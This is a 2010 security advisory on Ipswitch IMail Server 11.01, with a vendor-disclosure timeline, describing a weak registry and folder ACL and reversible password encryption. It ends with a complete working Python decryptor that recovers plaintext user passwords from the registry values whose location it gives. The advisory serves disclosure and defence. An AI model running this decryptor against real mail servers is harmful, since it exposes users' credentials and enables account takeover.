Ipswitch IMAIL 11.01 reversible encryption + weak ACL

|------------------------------------------------------------------| | __ __ | | _________ ________ / /___ _____ / /____ ____ _____ ___ | | / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ | | / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / | | \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ | | | | http://www.corelan.be:8800 | | | |-------------------------------------------------[ EIP Hunters ]--| Advisory : CORELAN-10-009 Disclosure Date : Feb 4th, 2010 0x00 : Vulnerability Information [+] Product : IMail Server [+] Version : 11.01 [+] Vendor : Ipswitch [+] URL : http://www.ipswitch.com/ [+] Platform : Windows [+] Issue fix: No [+] Vulnerability discovered by: sinn3r [+] Greetings to: Corelan Security Team::corelanc0d3r/EdiStrosar/Rick2600/MarkoT/mr_me/ekse/sinn3r/Jacky; and all the guys with secret identities at exploit-db.com :-p [+] Special thanks to: Jason from Ipswitch 0x01 : Vendor Description of Software "The Award-winning IMail Server is a proven email messaging solution for small and mid-sized businesses. Reliable, scalable and versatile, IMail Server is an affordable choice that meets the messaging needs of small and medium sized businesses. Unlike complicated and more expensive messaging solutions, IMail Server delivers a quick and easy installation. As a scalable, standards-based, email server with Webmail, optional integration with Microsoft Exchange ActiveSync®, SMTP, POP, IMAP, LDAP, and List Server, IMail users can send and receive email using any standards-based client, including Microsoft Outlook®, Outlook Express®, or Eudora®. Or, users can access email from anywhere via IMail's customizable Web messaging, available in eight languages. Designed to place minimal ongoing maintenance burden on network administrators, IMail can authenticate users from its own database, an active directory database, or from any ODBC-compliant data store, making life easier for the busy administrator. IMail Server also delivers a quick and easy installation or upgrade process." 0x02 : Vulnerability Details 1. By default, IMail allows Internet Guest Account to have "Full Control" to the following registry key, including its subkeys and values. As well as the default IMail directory: HKEY_LOCAL_MACHINE\SOFTWARE\Ipswitch\IMail C:\Program Files\Ipswitch\IMail\ 2. The IMail password decryption algorithm implemented in IMailsec.dll is also reversible. 0x03 : Vendor Communication 1/21/2010 - IMail vendor contacted 1/26/2010 - Got a reply from the vendor (product development manager) for more vulnerability clarification. No fix yet. 2/02/2010 - Received another reply from the vendor: Issues logged for additional research. No plans for immediate changes. A public advisory was also suggested by the vendor as reference in their tech/KB article. 2/04/2010 - Public disclosure: Advisory created. Vendor informed. 0x04 : Exploit/Proof-of-Concept #!/usr/bin/python ########################################################################## # Ipswitch IMail Server - IMAP4 Server (IMail 11.01) Password Decryptor # Tested on: Windows XP SP3 (Windows version does not matter) # Description: # So I reverse engineered the IMail password decryption function in # IMailsec.dll, located at 0x00563130. # # In order to decrypt correctly, you must have the correct username, # because it is used as a key. # # All usernames and passwords are stored in registry, which can be # found at: # HKEY_LOCAL_MACHINE\SOFTWARE\Ipswitch\IMail\Domains\[domain name]\Users # Every registry key under "Users" has a string value named "Password", # in there you'll find the encrypted password. # # By default, Internet Guest Account is granted with "Full Control" to # the IMail registry, and its directory. That means if an attacker # manages to gain code execution (ie.via a web app bug), IMail can be # his/her next playground. And IMail users may not be safe. # # Demo: # sinn3r@bt4:~$ ./iMailDecrypt.py admin C8D3D19AA094 # Ipswitch IMail Server - IMAP4 Server (IMail 11.01) Password Decryptor # coded by sinn3r - x90.sinner{at}gmail.c0m # [*] Password = god123 # # Responsible Disclosure Timeline: # 1/21/2010 - IMail vendor contacted # 1/26/2010 - Got a reply from the vendor for more vulnerability # clarfication. No fix yet. # 2/02/2010 - Received another reply from the vendor: Issues logged for # additional research. No plans for immediate changes. # A public advisory was also suggested by the vendor as # reference in their tech/KB article. # 2/04/2010 - Public Disclosure. Vendor informed again. ########################################################################## import sys import binascii ## Convert the encrypted string to integers for calculation ## Returns the integer version as a list def convertToInt(data): charset = [] for char in (data): tmp = char.encode("hex") tmp = int(tmp, 16) charset.append(tmp) return charset ## Decrypt the password ## Returns the decrypted version as a list def decryptPassword(intUsername, intPassword): results = [] counter = 0 counter2 = 0 pwdLength = len(intPassword) while counter<pwdLength: firstByte = intPassword[counter] if firstByte <= 57: #0x39 firstByte -= 48 #0x30 else: firstByte -= 55 #0x37 firstByte *= 16 #SHL 0x40 secondByte = intPassword[counter+1] if secondByte <= 57: #0x39 secondByte -= 48 #0x30 else: secondByte -= 55 #0x37 tmp = firstByte + secondByte if len(intUsername) <= counter2: counter2 = 0 if intUsername[counter2] > 54: #0x41 if intUsername[counter2] < 90: #5A intUsername[counter2] += 32 #0x20 tmp -= intUsername[counter2] counter2 += 1 results.append(hex(tmp)[2:]) counter += 2 return results banner = """Ipswitch IMail Server - IMAP4 Server (IMail 11.01) Password Decryptor coded by sinn3r - x90.sinner{at}gmail{d0t}c0m""" print banner if len(sys.argv) == 3: if len(sys.argv[2]) % 2 == 0: username = convertToInt(sys.argv[1]) password = convertToInt(sys.argv[2]) decryptor = str("".join(decryptPassword(username, password))) print "[*] Password = %s" %binascii.unhexlify(decryptor) else: print "[*] Incorrect Encrypted password length" else: print "[*] Usage: %s <username> <encrypted password>" %sys.argv[0]